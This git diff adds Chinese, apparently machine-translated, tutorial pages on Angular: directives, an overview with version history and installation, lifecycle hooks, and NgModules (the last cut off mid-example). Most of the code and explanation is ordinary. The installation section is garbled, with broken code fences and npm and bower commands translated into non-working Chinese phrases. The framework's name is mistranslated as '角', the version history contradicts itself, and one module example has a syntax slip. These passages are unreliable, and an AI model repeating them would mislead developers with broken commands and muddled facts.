+<!-- the intended results are self-explanatory --> 
+ <div appExample=“purple”>This text is purple!</div> 
+ <div appExample=“blue”>This text is blue!</div> 
+ <div appExample=“red”>This text is red!</div> 
+```
+
+`ElementRef`提供对host元素的直接引用。 `ElementRef.nativeElement`获取DOM节点。使用该节点，组件的样式就像`this.host.nativeElement.style.color = color`一样简单。
+
+`@Input() set ...`是另一个setter函数，它读取它作为属性实现时赋值的值。它重新分配每个元素的样式表的颜色属性。
+
+#### 结论
+
+指令是Angular模板HTML中提供的强大工具。它们是组件彼此连接的方式。在每个组件中，它们提供了一种风格和布局。
+
+构建每种类型的指令还有许多其他选项。不幸的是，覆盖每一个对于一篇文章来说太多了。对指令有基本的了解足以推进更高级的资源。
+
+查看以下资源，深入了解情况。每种类型的指令都有链接。每个链接都是相同文档的一部分，因此在访问第一个链接后无需返回此处！
+
+## 来源
+
+1.  [角度团队。 _结构指令_ 。谷歌。 2018年5月28日访问](https://angular.io/guide/structural-directives)
+    
+2.  [角度团队。 _属性指令_ 。谷歌。 2018年5月28日访问](https://angular.io/guide/attribute-directives)
+    
+
+## 资源
+
+*   [角度文档](https://angular.io/guide/pipes)
+    
+*   [Angular GitHub存储库](https://github.com/angular/angular)
+    
+*   [角度组件](https://angular.io/guide/architecture-components)
+    
+*   [角度结构指令](https://angular.io/guide/structural-directives)
+    
+*   [角度属性指令](https://angular.io/guide/attribute-directives)
+    
+*   [角度CLI](https://cli.angular.io)
\ No newline at end of file
diff --git a/client/src/guide/chinese/angular/index.md b/client/src/guide/chinese/angular/index.md
new file mode 100644
index 0000000000..4913594239
--- /dev/null
+++ b/client/src/guide/chinese/angular/index.md
@@ -0,0 +1,59 @@
+---
+title: Angular
+localeTitle: 角
+---
+## 角
+
+AngularJS（版本1.x）是一个基于JavaScript的开源框架。它是跨平台的，用于开发单页Web应用程序（SPWA）。 AngularJS实现MVC模式以分离逻辑，表示和数据组件。它还使用依赖注入来在客户端应用程序中使用服务器端服务。
+
+Angular（版本2.x及更高版本）是一个基于Typescript的开源框架，用于开发前端Web应用程序。 Angular具有以下功能，如泛型，静态类型以及一些ES6功能。
+
+## 版本历史
+
+谷歌于2010年10月20日发布了AngularJS的初始版本。 AngularJS的稳定版本于2017年12月18日发布，版本为1.6.8。 Angular 2.0发布于2014年9月22日在ng-Europe会议上发布。 Angular 2.0的一个特性是动态加载。
+
+经过一些修改后，Angular 4.0于2016年12月发布。 Angular 4向后兼容Angular 2.0。 HttpClient库是Angular 4.0的一个特性。 Angular 5发布于2017年11月1日。支持Progressive Web应用程序是Angular 4.0的改进之一。 Angular 6发布于2018年5月。最新的稳定版本是[6.1.9](https://blog.angular.io/angular-v6-1-now-available-typescript-2-9-scroll-positioning-and-more-9f1c03007bb6)
+
+**安装** ：
+
+我们可以通过引用可用的源或下载框架来添加Angular。
+
+**链接到来源** ：
+
+AngularJS：我们可以通过引用Google的内容交付网络来添加AngularJS（Angular 1.x版本）。
+
+```html
+
+<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.4/angular.min.js"></script> 
+```
+
+下载/安装：我们可以使用npm，Bower或composer下载框架
+
+**Angular 1.x** ：
+
+NPM
+
+\`\`\`壳 npm安装角度
+```
+Then add a `<script>` to your `index.html`: 
+```
+
+HTML
+```
+bower 
+```
+
+贝壳 凉亭安装角度
+```
+Then add a `<script>` to your `index.html`: 
+```
+
+HTML
+
+\`\`\`
+
+有关文档的更多信息，请参阅[AngularJS](https://docs.angularjs.org/api)的官方站点
+
+您可以通过以下从官方文档中的步骤安装**角2.x**和其他版本的[角](https://angular.io/guide/quickstart)
+
+_注意：请参阅Angular文档以获取更新的信息。_
\ No newline at end of file
diff --git a/client/src/guide/chinese/angular/lifecycle-hooks/index.md b/client/src/guide/chinese/angular/lifecycle-hooks/index.md
new file mode 100644
index 0000000000..e88cca310b
--- /dev/null
+++ b/client/src/guide/chinese/angular/lifecycle-hooks/index.md
@@ -0,0 +1,455 @@
+---
+title: Lifecycle Hooks
+localeTitle: 生命周期钩子
+---
+# 生命周期钩子
+
+#### 动机
+
+现代前端框架将应用程序从一个州转移到另一个州。数据推动了这些更新。这些技术与数据相互作用，而数据反过来又转变了状态。随着每个州的变化，有许多特定时刻可以获得某些资产。
+
+在一个实例中，模板可能已准备好，另一个数据将完成上载。每个实例的编码都需要一种检测手段。生命周期钩子满足了这种需求。现代前端框架包含各种生命周期钩子。 Angular也不例外
+
+#### 生命周期钩子解释
+
+生命周期钩子是定时方法。它们的执行时间和原因各不相同。变更检测会触发这些方法。它们根据当前循环的条件执行。 Angular运行会不断更改其数据的检测。生命周期钩子有助于管理其效果。
+
+这些钩子的一个重要方面是它们的执行顺序。它永远不会偏离。它们基于从检测周期产生的可预测的一系列负载事件来执行。这使得它们可以预测。某些资产仅在某个钩子执行后才可用。当然，钩子仅在当前变化检测周期中设定的某些条件下执行。
+
+本文按其执行顺序（如果它们都执行）呈现生命周期钩子。某些条件值得钩子激活。有一些人只在组件初始化后执行一次。
+
+所有生命周期方法均可从`@angular/core` 。虽然不是必需的，但Angular [建议实现每个钩子](https://angular.io/guide/lifecycle-hooks#interfaces-are-optional-technically) 。这种做法可以提供有关组件的更好的错误消息。
+
+### 按顺序执行......
+
+#### ngOnChanges
+
+`ngOnChanges`触发的修改以下`@Input`绑定类成员。由`@Input()`装饰器绑定的数据来自外部源。当外部源以可检测的方式更改该数据时，它再次通过`@Input`属性。
+
+通过此更新， `ngOnChanges`立即触发。它还会在输入数据初始化时触发。钩子接收一个`SimpleChanges`类型的可选参数。此值包含有关已更改的输入绑定属性的信息。
+
+```typescript
+import { Component, Input, OnChanges } from '@angular/core'; 
+ 
+ @Component({ 
+  selector: 'app-child', 
+  template: ` 
+  <h3>Child Component</h3> 
+  <p>TICKS: {{ lifecycleTicks }}</p> 
+  <p>DATA: {{ data }}</p> 
+  ` 
+ }) 
+ export class ChildComponent implements OnChanges { 
+  @Input() data: string; 
+  lifecycleTicks: number = 0; 
+ 
+  ngOnChanges() { 
+    this.lifecycleTicks++; 
+  } 
+ } 
+ 
+ @Component({ 
+  selector: 'app-parent', 
+  template: ` 
+  <h1>ngOnChanges Example</h1> 
+  <app-child [data]="arbitraryData"></app-child> 
+  ` 
+ }) 
+ export class ParentComponent { 
+  arbitraryData: string = 'initial'; 
+ 
+  constructor() { 
+    setTimeout(() => { 
+      this.arbitraryData = 'final'; 
+    }, 5000); 
+  } 
+ } 
+```
+
+**简介：** ParentComponent将输入数据绑定到ChildComponent。组件通过其`@Input`属性接收此数据。 `ngOnChanges`火灾。五秒钟后， `setTimeout`回调会触发。 ParentComponent改变ChildComponent的输入绑定属性的数据源。新数据流经输入属性。 `ngOnChanges`再次开火。
+
+#### ngOnInit
+
+初始化组件的输入绑定（ `@Input` ）属性时， `ngOnInit`会触发一次。下一个示例看起来与上一个示例类似。当ChildComponent接收输入数据时，挂钩不会触发。相反，它会在数据呈现到ChildComponent模板后立即触发。
+
+```typescript
+import { Component, Input, OnInit } from '@angular/core'; 
+ 
+ @Component({ 
+  selector: 'app-child', 
+  template: ` 
+  <h3>Child Component</h3> 
+  <p>TICKS: {{ lifecycleTicks }}</p> 
+  <p>DATA: {{ data }}</p> 
+  ` 
+ }) 
+ export class ChildComponent implements OnInit { 
+  @Input() data: string; 
+  lifecycleTicks: number = 0; 
+ 
+  ngOnInit() { 
+    this.lifecycleTicks++; 
+  } 
+ } 
+ 
+ @Component({ 
+  selector: 'app-parent', 
+  template: ` 
+  <h1>ngOnInit Example</h1> 
+  <app-child [data]="arbitraryData"></app-child> 
+  ` 
+ }) 
+ export class ParentComponent { 
+  arbitraryData: string = 'initial'; 
+ 
+  constructor() { 
+    setTimeout(() => { 
+      this.arbitraryData = 'final'; 
+    }, 5000); 
+  } 
+ } 
+```
+
+**简介：** ParentComponent将输入数据绑定到ChildComponent。 ChildComponent通过其`@Input`属性接收此数据。数据呈现给模板。 `ngOnInit`开火。五秒钟后， `setTimeout`回调会触发。 ParentComponent改变ChildComponent的输入绑定属性的数据源。 ngOnInit **不会发生火灾** 。
+
+`ngOnInit`是一个完成的钩子。初始化是唯一的问题。
+
+#### ngDoCheck
+
+每次更改检测周期`ngDoCheck`触发`ngDoCheck` 。角度运行经常改变检测。执行任何操作都会使其循环。 `ngDoCheck`会触发这些循环。请谨慎使用。如果实施不当，可能会产生性能问题。
+
+`ngDoCheck`允许开发人员手动检查他们的数据。他们可以有条件地触发新的申请日期。结合`ChangeDetectorRef` ，开发人员可以创建自己的变更检测检查。
+
+```typescript
+import { Component, DoCheck, ChangeDetectorRef } from '@angular/core'; 
+ 
+ @Component({ 
+  selector: 'app-example', 
+  template: ` 
+  <h1>ngDoCheck Example</h1> 
+  <p>DATA: {{ data[data.length - 1] }}</p> 
+  ` 
+ }) 
+ export class ExampleComponent implements DoCheck { 
+  lifecycleTicks: number = 0; 
+  oldTheData: string; 
+  data: string[] = ['initial']; 
+ 
+  constructor(private changeDetector: ChangeDetectorRef) { 
+    this.changeDetector.detach(); // lets the class perform its own change detection 
+ 
+    setTimeout(() => { 
+      this.oldTheData = 'final'; // intentional error 
+      this.data.push('intermediate'); 
+    }, 3000); 
+ 
+    setTimeout(() => { 
+      this.data.push('final'); 
+      this.changeDetector.markForCheck(); 
+    }, 6000); 
+  } 
+ 
+  ngDoCheck() { 
+    console.log(++this.lifecycleTicks); 
+ 
+    if (this.data[this.data.length - 1] !== this.oldTheData) { 
+      this.changeDetector.detectChanges(); 
+    } 
+  } 
+ } 
+```
+
+注意控制台与显示器。数据在冻结前上升到“中间”。如控制台中所示，在此期间发生三轮变化检测。当'final'被推到`this.data`的末尾时，会发生另一轮变化检测。然后发生最后一轮变化检测。 if语句的评估确定不需要对视图进行更新。
+
+**摘要：**类在两轮变化检测后实例化。类构造函数启动`setTimeout`两次。三秒钟后，第一个`setTimeout`触发更改检测。 `ngDoCheck`标记显示以进行更新。三秒钟后，第二个`setTimeout`触发更改检测。根据`ngDoCheck`的评估，无需更新视图。
+
+##### 警告
+
+在继续之前，了解内容DOM和视图DOM之间的区别（DOM代表文档对象模型）。
+
+内容DOM定义了指令元素的innerHTML。相反，视图DOM是组件的模板，不包括嵌套在指令中的任何模板HTML。为了更好地理解，请参阅[此博客文章](http://blog.mgechev.com/2016/01/23/angular2-viewchildren-contentchildren-difference-viewproviders) 。
+
+#### ngAfterContentInit
+
+`ngAfterContentInit`在组件的内容DOM初始化（第一次加载）后触发​​。等待`@ContentChild(ren)`查询是钩子的主要用例。
+
+`@ContentChild(ren)`查询内容DOM的yield元素引用。因此，它们在内容DOM加载之后才可用。因此，为什么使用`ngAfterContentInit`及其对应的`ngAfterContentChecked` 。
+
+```typescript
+import { Component, ContentChild, AfterContentInit, ElementRef, Renderer2 } from '@angular/core'; 
+ 
+ @Component({ 
+  selector: 'app-c', 
+  template: ` 
+  <p>I am C.</p> 
+  <p>Hello World!</p> 
+  ` 
+ }) 
+ export class CComponent { } 
+ 
+ @Component({ 
+  selector: 'app-b', 
+  template: ` 
+  <p>I am B.</p> 
+  <ng-content></ng-content> 
+  ` 
+ }) 
+ export class BComponent implements AfterContentInit { 
+  @ContentChild("BHeader", { read: ElementRef }) hRef: ElementRef; 
+  @ContentChild(CComponent, { read: ElementRef }) cRef: ElementRef; 
+ 
+  constructor(private renderer: Renderer2) { } 
+ 
+  ngAfterContentInit() { 
+    this.renderer.setStyle(this.hRef.nativeElement, 'background-color', 'yellow') 
+ 
+    this.renderer.setStyle(this.cRef.nativeElement.children.item(0), 'background-color', 'pink'); 
+    this.renderer.setStyle(this.cRef.nativeElement.children.item(1), 'background-color', 'red'); 
+  } 
+ } 
+ 
+ @Component({ 
+  selector: 'app-a', 
+  template: ` 
+  <h1>ngAfterContentInit Example</h1> 
+  <p>I am A.</p> 
+  <app-b> 
+    <h3 #BHeader>BComponent Content DOM</h3> 
+    <app-c></app-c> 
+  </app-b> 
+  ` 
+ }) 
+ export class AComponent { } 
+```
+
+`@ContentChild`查询结果可从`ngAfterContentInit` 。 `Renderer2`更新包含`h3`标签和CComponent的BComponent的内容DOM。这是[内容投影](https://alligator.io/angular/content-projection-angular)的常见示例。
+
+**简介：**渲染从AComponent开始。要完成它，AComponent必须渲染BComponent。 BComponent通过`<ng-content></ng-content>`元素投影嵌套在其元素中`<ng-content></ng-content>` 。 CComponent是预计内容的一部分。投影内容完成渲染。 `ngAfterContentInit`触发。 BComponent完成渲染。 AComponent完成渲染。 `ngAfterContentInit`不会再次触发。
+
+#### ngAfterContentChecked
+
+`ngAfterContentChecked`在针对内容DOM的每个更改检测周期后触发。这使开发人员可以促进内容DOM对更改检测的反应。如果执行`ngAfterContentChecked`可能会频繁触发并导致性能问题。
+
+`ngAfterContentChecked`在组件的初始化阶段触发。它在`ngAfterContentInit`之后。
+
+```typescript
+import { Component, ContentChild, AfterContentChecked, ElementRef, Renderer2 } from '@angular/core'; 
+ 
+ @Component({ 
+  selector: 'app-c', 
+  template: ` 
+  <p>I am C.</p> 
+  <p>Hello World!</p> 
+  ` 
+ }) 
+ export class CComponent { } 
+ 
+ @Component({ 
+  selector: 'app-b', 
+  template: ` 
+  <p>I am B.</p> 
+  <button (click)="$event">CLICK</button> 
+  <ng-content></ng-content> 
+  ` 
+ }) 
+ export class BComponent implements AfterContentChecked { 
+  @ContentChild("BHeader", { read: ElementRef }) hRef: ElementRef; 
+  @ContentChild(CComponent, { read: ElementRef }) cRef: ElementRef; 
+ 
+  constructor(private renderer: Renderer2) { } 
+ 
+  randomRGB(): string { 
+    return `rgb(${Math.floor(Math.random() * 256)}, 
+    ${Math.floor(Math.random() * 256)}, 
+    ${Math.floor(Math.random() * 256)})`; 
+  } 
+ 
+  ngAfterContentChecked() { 
+    this.renderer.setStyle(this.hRef.nativeElement, 'background-color', this.randomRGB()); 
+    this.renderer.setStyle(this.cRef.nativeElement.children.item(0), 'background-color', this.randomRGB()); 
+    this.renderer.setStyle(this.cRef.nativeElement.children.item(1), 'background-color', this.randomRGB()); 
+  } 
+ } 
+ 
+ @Component({ 
+  selector: 'app-a', 
+  template: ` 
+  <h1>ngAfterContentChecked Example</h1> 
+  <p>I am A.</p> 
+  <app-b> 
+    <h3 #BHeader>BComponent Content DOM</h3> 
+    <app-c></app-c> 
+  </app-b> 
+  ` 
+ }) 
+ export class AComponent { } 
+```
+
+这与`ngAfterContentInit`几乎没有区别。只有`<button></button>`被添加到BComponent。单击它会导致更改检测循环。这会激活钩子，如`background-color`的随机化所示。
+
+**简介：**渲染从AComponent开始。要完成它，AComponent必须渲染BComponent。 BComponent通过`<ng-content></ng-content>`元素投影嵌套在其元素中`<ng-content></ng-content>` 。 CComponent是预计内容的一部分。投影内容完成渲染。 `ngAfterContentChecked`发射。 BComponent完成渲染。 AComponent完成渲染。 `ngAfterContentChecked`可能会通过更改检测再次触发。
+
+#### ngAfterViewInit
+
+视图DOM完成初始化后， `ngAfterViewInit`触发一次。视图始终在内容之后加载。 `ngAfterViewInit`等待`@ViewChild(ren)`查询解析。从组件的同一视图中查询这些元素。
+
+在下面的示例中，将查询BComponent的`h3`标头。一旦查询结果可用， `ngAfterViewInit`就会立即执行。
+
+```typescript
+import { Component, ViewChild, AfterViewInit, ElementRef, Renderer2 } from '@angular/core'; 
+ 
+ @Component({ 
+  selector: 'app-c', 
+  template: ` 
+  <p>I am C.</p> 
+  <p>Hello World!</p> 
+  ` 
+ }) 
+ export class CComponent { } 
+ 
+ @Component({ 
+  selector: 'app-b', 
+  template: ` 
+  <p #BStatement>I am B.</p> 
+  <ng-content></ng-content> 
+  ` 
+ }) 
+ export class BComponent implements AfterViewInit { 
+  @ViewChild("BStatement", { read: ElementRef }) pStmt: ElementRef; 
+ 
+  constructor(private renderer: Renderer2) { } 
+ 
+  ngAfterViewInit() { 
+    this.renderer.setStyle(this.pStmt.nativeElement, 'background-color', 'yellow'); 
+  } 
+ } 
+ 
+ @Component({ 
+  selector: 'app-a', 
+  template: ` 
+  <h1>ngAfterViewInit Example</h1> 
+  <p>I am A.</p> 
+  <app-b> 
+    <h3>BComponent Content DOM</h3> 
+    <app-c></app-c> 
+  </app-b> 
+  ` 
+ }) 
+ export class AComponent { } 
+```
+
+`Renderer2`更改BComponent标头的背景颜色。这表示由于`ngAfterViewInit`已成功查询视图元素。
+
+**简介：**渲染从AComponent开始。要完成它，AComponent必须渲染BComponent。 BComponent通过`<ng-content></ng-content>`元素投影嵌套在其元素中`<ng-content></ng-content>` 。 CComponent是预计内容的一部分。投影内容完成渲染。 BComponent完成渲染。 `ngAfterViewInit`触发。 AComponent完成渲染。 `ngAfterViewInit`不会再次触发。
+
+#### ngAfterViewChecked
+
+`ngAfterViewChecked`在针对组件视图的任何更改检测周期后触发。 `ngAfterViewChecked`钩子允许开发人员促进更改检测如何影响视图DOM。
+
+```typescript
+import { Component, ViewChild, AfterViewChecked, ElementRef, Renderer2 } from '@angular/core'; 
+ 
+ @Component({ 
+  selector: 'app-c', 
+  template: ` 
+  <p>I am C.</p> 
+  <p>Hello World!</p> 
+  ` 
+ }) 
+ export class CComponent { } 
+ 
+ @Component({ 
+  selector: 'app-b', 
+  template: ` 
+  <p #BStatement>I am B.</p> 
+  <button (click)="$event">CLICK</button> 
+  <ng-content></ng-content> 
+  ` 
+ }) 
+ export class BComponent implements AfterViewChecked { 
+  @ViewChild("BStatement", { read: ElementRef }) pStmt: ElementRef; 
+ 
+  constructor(private renderer: Renderer2) { } 
+ 
+  randomRGB(): string { 
+    return `rgb(${Math.floor(Math.random() * 256)}, 
+    ${Math.floor(Math.random() * 256)}, 
+    ${Math.floor(Math.random() * 256)})`; 
+  } 
+ 
+  ngAfterViewChecked() { 
+    this.renderer.setStyle(this.pStmt.nativeElement, 'background-color', this.randomRGB()); 
+  } 
+ } 
+ 
+ @Component({ 
+  selector: 'app-a', 
+  template: ` 
+  <h1>ngAfterViewChecked Example</h1> 
+  <p>I am A.</p> 
+  <app-b> 
+    <h3>BComponent Content DOM</h3> 
+    <app-c></app-c> 
+  </app-b> 
+  ` 
+ }) 
+ export class AComponent { } 
+```
+
+**简介：**渲染从AComponent开始。要完成它，AComponent必须渲染BComponent。 BComponent通过`<ng-content></ng-content>`元素投影嵌套在其元素中`<ng-content></ng-content>` 。 CComponent是预计内容的一部分。投影内容完成渲染。 BComponent完成渲染。 `ngAfterViewChecked`会触发。 AComponent完成渲染。 `ngAfterViewChecked`可能会通过更改检测再次触发。
+
+单击`<button></button>`元素可启动一轮更改检测。 `ngAfterContentChecked`会触发并随机化每个按钮单击的查询元素的`background-color` 。
+
+#### ngOnDestroy
+
+`ngOnDestroy`触发组件从视图和后续DOM中删除。在删除组件之前，此挂钩提供了清除任何松散端的机会。
+
+```typescript
+import { Directive, Component, OnDestroy } from '@angular/core'; 
+ 
+ @Directive({ 
+  selector: '[appDestroyListener]' 
+ }) 
+ export class DestroyListenerDirective implements OnDestroy { 
+  ngOnDestroy() { 
+    console.log("Goodbye World!"); 
+  } 
+ } 
+ 
+ @Component({ 
+  selector: 'app-example', 
+  template: ` 
+  <h1>ngOnDestroy Example</h1> 
+  <button (click)="toggleDestroy()">TOGGLE DESTROY</button> 
+  <p appDestroyListener *ngIf="destroy">I can be destroyed!</p> 
+  ` 
+ }) 
+ export class ExampleComponent { 
+  destroy: boolean = true; 
+ 
+  toggleDestroy() { 
+    this.destroy = !this.destroy; 
+  } 
+ } 
+```
+
+**摘要：**单击该按钮。 ExampleComponent的`destroy`成员切换为false。结构指令`*ngIf`计算结果为false。 `ngOnDestroy`开火。 `*ngIf`删除其主机`<p></p>` 。此过程会重复多次单击按钮以将`destroy`切换为false。
+
+#### 结论
+
+请记住，每个钩子必须满足某些条件。无论如何，它们总是按照彼此的顺序执行。这使得钩子可以预测，即使有些不执行也可以使用。
+
+使用生命周期钩子，可以轻松地执行类的执行。它们让开发人员可以跟踪发生变更检测的位置以及应用程序应如何反应。它们会停止代码，这些代码只需要在一段时间后才能使用基于负载的依赖项。
+
+组件生命周期是现代前端框架的特征。 Angular通过提供上述钩子来规划其生命周期。
+
+## 来源
+
+*   [角度团队。 “Lifecycle Hooks”。 _谷歌_ 2018年6月2日访问](https://angular.io/guide/lifecycle-hooks)
+*   [Gechev，Minko。 “Angular中的ViewChildren和ContentChildren”。 2018年6月2日访问](http://blog.mgechev.com/2016/01/23/angular2-viewchildren-contentchildren-difference-viewproviders)
+
+## 资源
+
+*   [角度文档](https://angular.io/docs)
+*   [Angular GitHub存储库](https://github.com/angular/angular)
+*   [生命周期钩在深度](https://angular.io/guide/lifecycle-hooks)
\ No newline at end of file
diff --git a/client/src/guide/chinese/angular/ngmodules/index.md b/client/src/guide/chinese/angular/ngmodules/index.md
new file mode 100644
index 0000000000..63232f9a6d
--- /dev/null
+++ b/client/src/guide/chinese/angular/ngmodules/index.md
@@ -0,0 +1,372 @@
+---
+title: NgModules
+localeTitle: iModules
+---
+# NgModules
+
+#### 动机
+
+角度应用程序从根NgModule开始。 Angular通过其由NgModules组成的模块系统来管理应用程序的依赖关系。除了普通的JavaScript模块，NgModules还可确保代码模块化和封装。
+
+模块还提供最高级别的组织代码。每个NgModule都以自己的代码块为根。该模块为其代码提供从上到下的封装。然后，整个代码块可以导出到任何其他模块。从这个意义上说，NgModules就像守门员一样对待自己的代码块。
+
+Angular的文档实用程序来自Angular编写的NgModules。除非声明它的NgModule包含在根中，否则没有可用的实用程序。这些实用程序还必须从其主机模块导出，以便导入程序可以使用它们。这种封装形式使开发人员能够在同一文件系统中生成自己的NgModule。
+
+另外，了解为什么Angular CLI（命令行界面）从`@angular/core`导入`BrowserModule`是有意义的。只要使用CLI命令生成新应用程序，就会发生这种情况： `ng new [name-of-app]` 。
+
+在大多数情况下，理解实施的点可能就足够了。但是，了解实现如何将自身连接到根目录甚至更好。这一切都是通过将`BrowserModule`导入根目录而自动完成的。
+
+#### NgModule装饰器
+
+Angular通过修饰泛型类来定义其模块。 `@NgModule`装饰器指示类对Angular的模块化目的。 NgModule类合并了可从模块范围访问/实例化的根依赖项。 “范围”表示源自模块元数据的任何内容。
+
+```typescript
+import { NgModule } from '@angular/core'; 
+ 
+ @NgModule({ 
+  // … metadata … 
+ }) 
+ export class AppModule { } 
+```
+
+#### NgModule元数据
+
+CLI生成的根NgModule包括以下元数据字段。这些字段为NgModule主持的代码块提供配置。
+
+*   `declarations: []`
+*   `imports: []`
+*   `providers: []`
+*   `bootstrap: []`
+
+##### 声明
+
+声明数组包括由NgModule托管的所有组件，指令或管道。除非在元数据中明确导出，否则它们对模块是私有的。鉴于此用例，组件，指令和管道被昵称为“声明”。 NgModule必须声明一个唯一的声明。声明不能在单独的NgModules中声明两次。否则会抛出错误。请参阅以下示例。
+
+```typescript
+import { NgModule } from '@angular/core'; 
+ import { TwoComponent } from './components/two.component.ts'; 
+ 
+ @NgModule({ 
+  declarations: [ TwoComponent ] 
+ }) 
+ export class TwoModule { } 
+ 
+ @NgModule({ 
+  imports: [ TwoModule ], 
+  declarations: [ TwoComponent ] 
+ }) 
+ export class OneModule { } 
+```
+
+Angular为了NgModule封装而抛出一个错误。声明是NgModule的私有，默认情况下声明它们。如果多个NgModule需要某个可声明的，它们应该导入声明的NgModule。然后，此NgModule必须导出所需的声明，以便其他NgModule可以使用它。
+
+```typescript
+import { NgModule } from '@angular/core'; 
+ import { TwoComponent } from './components/two.component.ts'; 
+ 
+ @NgModule({ 
+  declarations: [ TwoComponent ], 
+  exports: [ TwoComponent ] 
+ }) 
+ export class TwoModule { } 
+ 
+ @NgModule({ 
+  imports: [ TwoModule ] // this module can now use TwoComponent 
+ }) 
+ export class OneModule { } 
+```
+
+上面的例子不会抛出错误。 TwoComponent已在两个NgModules之间唯一声明。 OneModule也可以访问TwoComponent，因为它导入了TwoModule。 TwoModule依次导出TwoComponent供外部使用。
+
+##### 进口
+
+imports数组只接受NgModules。除了其他NgModules之外，此数组不接受声明，服务或其他任何内容。导入模块可以访问模块公布的可声明内容。
+
+这解释了为什么导入`BrowserModule`可以访问其各种实用程序。 `BrowserModule`声明的每个可声明实用程序都从其元数据导出。导入`BrowserModule` ，导出的NgModule可以使用这些导出的声明。服务根本不导出，因为它们缺少相同的封装。
+
+##### 供应商
+
+考虑到声明的封装，缺乏服务封装可能看起来很奇怪。请记住，服务与声明或导出分开，与提供者数组分开。
+
+当Angular编译时，它会使根NgModule变平并将其导入到一个模块中。服务组合在一起由合并的NgModule托管的单个提供者阵列中。声明通过一组编译时标志来维护它们的封装。
+
+如果NgModule提供程序包含匹配的标记值，则导入的根模块优先。过去，导入的最后一个NgModule优先。请参阅下一个示例。特别注意导入另外两个的NgModule。识别这会如何影响所提供服务的优先级。
+
+```typescript
+import { NgModule } from '@angular/core'; 
+ 
+ @NgModule({ 
+  providers: [ AwesomeService ], // 1st precedence + importing module 
+  imports: [ 
+    BModule, 
+    CModule 
+  ] 
+ }) 
+ export class AModule { } 
+ 
+ @NgModule({ 
+  providers: [ AwesomeService ]  // 3rd precedence + first import 
+ }) 
+ export class BModule { } 
+ 
+ @NgModule({ 
+  providers: [ AwesomeService ]  // 2nd precedence + last import 
+ }) 
+ export class CModule { } 
+```
+
+从AModule的范围内实例化AwesomeService会产生AModule元数据中提供的AwesomeService实例。如果AModule的提供者省略了这项服务，那么CModule的AwesomeService将优先。如果CModule的提供者省略了AwesomeService，那么对于BModule来说等等。
+
+##### 引导
+
+引导程序阵列接受组件。对于Array的每个组件，Angular将组件作为其自己的`index.html`文件的根插入。 CLI生成的应用程序的根NgModule将始终具有此字段。
+
+```typescript
+import { BrowserModule } from '@angular/platform-browser'; 
+ import { NgModule } from '@angular/core'; 
+ import { AppComponent } from './app.component'; 
+ 
+ @NgModule({ 
+  declarations: [ AppComponent ], 
+  imports: [ BrowserModule ], 
+  providers: [], 
+  bootstrap: [ AppComponent ] 
+ }) 
+ export class AppModule { } 
+```
+
+AppComponent的元素将注入应用程序的基本HTML（ `index.html` ）。组件树的其余部分从那里展开。总体NgModule的范围涵盖整个树以及从引导程序阵列注入的任何其他树。该数组通常只包含一个元素。这个组件将模块表示为单个元素及其底层树。
+
+#### NgModules与JavaScript模块
+
+您已经在前面的示例中看到过Angular和JavaScript模块一起工作。最顶层的`import..from`语句构成了JavaScript模块系统。每个语句的目标的文件位置必须导出与请求匹配的类，变量或函数。 `import { TARGET } from './path/to/exported/target'` 。
+
+在JavaScript中，模块是文件分隔的。如前所述，使用`import..from`关键字导入文件。另一方面，NgModules是类分隔的，并用`@NgModule` 。因此，许多Angular模块可以存在于单个文件中。 JavaScript不会发生这种情况，因为文件定义了一个模块。
+
+约定，惯例说每个`@NgModule`装饰类应该有自己的文件。即便如此，要知道文件在Angular中不构成自己的模块。用`@NgModule`类创建了这种区别。
+
+JavaScript模块提供对`@NgModule`元数据的标记引用。这发生在托管NgModule类的文件的顶部。 NgModule在其元数据字段（声明，导入，提供程序等）中使用这些标记。 `@NgModule`可以装饰一个类的唯一原因是JavaScript从文件的顶部导入它。
+
+```typescript
+// JavaScript module system provides tokens 
+ import { BrowserModule } from '@angular/platform-browser'; 
+ import { NgModule } from '@angular/core'; 
+ import { AppComponent } from './app.component'; 
+ import { AppService } from './app.service'; 
+ // Javascript module system is strict about where it imports. It can only import at the top of files. 
+ 
+ // Angular NgModule uses those tokens in its metadata settings 
+ @NgModule({ // import { NgModule } from '@angular/core'; 
+  declarations: [ 
+    AppComponent // import { AppComponent } from './app.component'; 
+  ], 
+  imports: [ 
+    BrowserModule // import { BrowserModule } from '@angular/platform-browser'; 
+  ], 
+  providers: [ 
+    AppService // import { AppService } from './app.service'; 
+  ], 
+  bootstrap: [ 
+    AppComponent // import { AppComponent } from './app.component'; 
+  ] 
+ }) 
+ export class AppModule { } 
+ // JavaScript module system exports the class. Other modules can now import AppModule. 
+```
+
+上面的例子没有介绍任何新内容。这里的重点是解释两个模块化系统如何协同工作的评论。 JavaScript提供令牌引用，而NgModule使用这些令牌来封装和配置其底层代码块。
+
+#### 功能模块
+
+应用程序增长超时。适当地扩展它们需要应用程序组织。一个坚实的系统将使进一步发展更容易。
+
+在Angular中，原理图确保目标驱动的代码段保持可区分。除了子NgModule原理图之外，还有NgModules本身。它们也是一种原理图。它们位于原理图列表中的其余部分，不包括应用程序本身。
+
+一旦应用程序开始扩展，根模块就不应该独立存在。功能模块包括与根NgModule一起使用的任何NgModule。您可以将根模块视为具有`bootstrap: []`元数据字段。功能应用程序确保根模块不会过度饱和其元数据。
+
+功能模块代表任何导入模块隔离一段代码。他们可以独立处理整个应用部分。这意味着它可以在根模块导入要素模块的任何应用程序中使用。这种策略可以节省开发人员在多个应用程序中的时间和精力！它还使应用程序的根NgModule保持精简状态。
+
+在应用程序的根NgModule中，将特征模块的标记添加到根的`imports`数组中就可以了。无论功能模块导出或提供的内容都可供根目录使用。
+
+```typescript
+// ./awesome.module.ts 
+ 
+ import { NgModule } from '@angular/core'; 
+ import { AwesomePipe } from './awesome/pipes/awesome.pipe'; 
+ import { AwesomeComponent } from './awesome/components/awesome.component'; 
+ import { AwesomeDirective } from './awesome/directives/awesome.directive'; 
+ 
+ @NgModule({ 
+  exports: [ 
+    AwesomePipe, 
+    AwesomeComponent, 
+    AwesomeDirective 
+  ] 
+  declarations: [ 
+    AwesomePipe, 
+    AwesomeComponent, 
+    AwesomeDirective 
+  ] 
+ }) 
+ export class AwesomeModule { } 
+```
+
+```typescript
+// ./app.module.ts 
+ 
+ import { AwesomeModule } from './awesome.module'; 
+ import { BrowserModule } from '@angular/platform-browser'; 
+ import { NgModule } from '@angular/core'; 
+ import { AppComponent } from './app.component'; 
+ 
+ @NgModule({ 
+  declarations: [ 
+    AppComponent 
+  ], 
+  imports: [ 
+    AwesomeModule, 
+    BrowserModule 
